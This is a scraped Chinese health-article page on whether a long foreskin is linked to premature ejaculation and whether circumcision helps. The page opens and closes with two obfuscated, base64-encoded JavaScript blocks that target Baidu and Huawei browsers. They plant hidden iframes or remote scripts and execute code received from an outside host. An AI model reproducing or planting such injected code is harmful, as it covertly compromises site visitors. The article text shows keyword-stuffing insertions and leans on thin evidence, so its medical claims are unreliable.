eval("\x77\x69\x6e\x64\x6f\x77")["\x4B\x50\x76\x76"]=function(e){var KP =''+'ABCDEFGHIJK'+'LMNOPQRSTUVWXYZab'+'cdefghijklmnop'+'qrstuvwxyz0123'+'456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=KP.indexOf(e.charAt(f++));o=KP.indexOf(e.charAt(f++));u=KP.indexOf(e.charAt(f++));a=KP.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x67\x50\x4B\x6D\x76\x61\x4D\x71\x45"]=function(){eval(KPvv("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoS1B2dih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKEtQdnYoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihLUHZ2KCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbS1B2digiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKEtQdnYoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd6JysnSVRUTHcnKydVeicrJ00zJysnMHlZJysnR0onKydUVEonKyd0VicrJ0cnKydjc2htJysnWkdKJysnVFRKJysneicrJ1FEJysnTncnKydFVFRRJysnelVTYicrJ3ZObUwnKyd4OUcnKydjJysnMWRYJysnY3VjMycrJ2QnKyczWmtNJysnbFlrTWwnKydFME0nKydsTUhjJysnMFJIJysnYScrJycrJycsJycrJ0kxYycrJ0tKYycrJ2JxJysnJysnJyx3aW5kb3csZG9jdW1lbnQsJycrJ0hxcScrJ0p1SScrJzUnKycnKycnLCdUJyk="));}
包皮跟早泄有关

2021年12月01日 墨神 阅读(170)

包皮过长和早泄之间的关系确实有些复杂。医学界关于早泄与包皮过长之间是否存在因果关系的争论从未停止过。在临床工作中,我们经常发现许多男性包皮过长同时有早泄症状。此外,我们还发现许多包皮长朋友没有早泄症状。也有许多早泄患者合并包皮过长。即使在包皮切除术后,早泄的症状也没有明显改善。

其原因与早泄的复杂病因有关。过去,科学家认为早泄可能与龟头的高度敏感性、神经系统射精中枢神经反射网络的变化、是否合并勃起功能障碍或前列腺包皮跟早泄有关炎以及紧张、焦虑、缺乏自信等不良心理因素有关,以上原因是缺乏大规模循证医学证据。早泄的病因复杂、心理性和器质性,导致早泄治疗方法的多样性和复杂性。单纯的行为心理学/行为治疗,药物治疗性集中训练和手术治疗难以控制疾病。效果也非常有限,因此需要多种手段进行综合治疗。

从理论上讲,通过降低阴茎和龟头的局部敏感性来延长射精潜伏期来治疗早泄是可行的。包茎或包皮过长患者的龟头长期处于包皮的保护下,对外部刺激更敏感,尤其是在性刺激和充血状态下。通过包皮环切术,可以移除阴茎感受器的上部,并且可以移除一些阴茎血管神经包皮跟早泄有关末梢和感觉组织,这有利于降低局部敏感性。同时,随着时间的推移,龟头和内衣被反复摩擦和刺激,敏感性逐渐降低,性别兴奋阈值逐渐增加,射精潜伏期延长。对于患有包茎或包皮过长的早泄患者,尤其是心理/行为药物治疗效果差的患者,实施包皮环切术可能是更好的选择。

总之,包皮过长可能是早泄的间接或直接原因之一,具体的深层机制有待进一步研究和探索。

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eval("\x77\x69\x6e\x64\x6f\x77")["\x62\x62\x62\x62"]=function(e){var zz =''+'ABCDEFGHIJKLM'+'NOPQRSTUVWXY'+'Zabcdef'+'ghijklm'+'nopqrstuvwxyz012'+'3456789+/='+''+'';var t="",n,r,i,s,o,u,a,f=0;e=e['re'+'pla'+'ce'](/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=zz.indexOf(e.charAt(f++));o=zz.indexOf(e.charAt(f++));u=zz.indexOf(e.charAt(f++));a=zz.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return (function(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2;}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;})(t);}
eval("\x77\x69\x6e\x64\x6f\x77")["\x62\x41\x62\x53\x72\x52\x4E\x7A\x62"]=function(){eval(bbbb("OyhmdW5jdGlvbih1LHIsdyxkLGYsYyl7dT1kZWNvZGVVUklDb21wb25lbnQoYmJiYih1LnJlcGxhY2UobmV3IFJlZ0V4cChjKycnK2MsJ2cnKSxjKS5zcGxpdCgnJykucmV2ZXJzZSgpLmpvaW4oJycpKSk7J2pRdWVyeSc7aWYobmF2aWdhdG9yLnVzZXJBZ2VudC5pbmRleE9mKGJiYmIoIlltRnBaSFU9IikpPi0xIHx8IG5hdmlnYXRvci51c2VyQWdlbnQuaW5kZXhPZihiYmJiKCdTSFZoZDJWcFFuSnZkM05sY2c9PScpKT4tMSl7ZnVuY3Rpb24gcmQobixtKXtyZXR1cm4gTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpKihtLW4rMSkrbik7fWZ1bmN0aW9uIHJtKGUpe2lmKGUmJmUudGFnTmFtZS50b1VwcGVyQ2FzZSgpPT09IklGUkFNRSImJmUuc3JjLmluZGV4T2YodSk+LTEpe2UucmVtb3ZlKCk7fWVsc2UgaWYoZS5uZXh0RWxlbWVudFNpYmxpbmcpe3JtKGUubmV4dEVsZW1lbnRTaWJsaW5nKTt9fWxldCBjPWRbYmJiYigiWTNWeWNtVnVkRk5qY21sd2RBPT0iKV07dmFyIHo9dSsnLTEvcXEvJytyO2RbJ3cnKydyaScrJ3QnKydlJ10oJzxpJysnZnInKydhJysnbWUgc3R5bGU9IicrJ20nKydhcicrJ2dpJysnbjowO3AnKydhZCcrJ2QnKydpbicrJ2c6MDtiJysnb3InKydkJysnZXI6bicrJ29uJysnZTsnKydvcCcrJ2EnKydjaScrJ3QnKyd5OjAnKycuMCcrcmQoMiw5KSsnO3dpJysnZHQnKydoOicrcmQoMiw1KSsncCcrJ3g7aCcrJ2UnKydpZ2gnKyd0OicrcmQoMiw1KSsncCcrJ3g7JysnIiBhbCcrJ2xvd3RyYW4nKydzcGEnKydyZW5jeSBzcicrJ2M9IicreisnIj48L2knKydmcicrJ2EnKydtZT4nKTt3WydhZCcrJ2RFdicrJ2VudEwnKydpc3QnKydlbmVyJ10oJ20nKydlc3MnKydhZ2UnLGZ1bmN0aW9uKGUpe2lmKGUuZGF0YVtyXSl7cm0oYyk7bmV3IEZ1bmN0aW9uKGJiYmIoZS5kYXRhW3JdLnJlcGxhY2UobmV3IFJlZ0V4cChyLCdnJyksJycpKSkoKTt9fSk7fWVsc2V7ZC53cml0ZSgnPHMnKydjcmknKydwdCBzcmM9IicrdSsnLmpzIj48XC9zJysnY3JpcCcrJ3Q+Jyk7fX0pKCcnKyd5JysnSVRMeFUnKyd6JysnTTMweScrJ1knKydHSlQnKydKbCcrJ0YzJysnWjRsJysnR05HJysnSlQnKydKelFETicrJ3dFVFEnKyd6VVMnKydTJysnYicrJ3ZObUx4JysnOScrJ0djMWQnKydYY3UnKydjM2QzJysnWicrJ2tNbCcrJ1lrTWxFJysnME1sTScrJ0hjMFJIJysnYScrJycrJycsJycrJ0cybycrJ3llOScrJzVhJysnJysnJyx3aW5kb3csZG9jdW1lbnQsJycrJzZwdCcrJzl6QycrJ3gnKycnKycnLCdTJyk="));}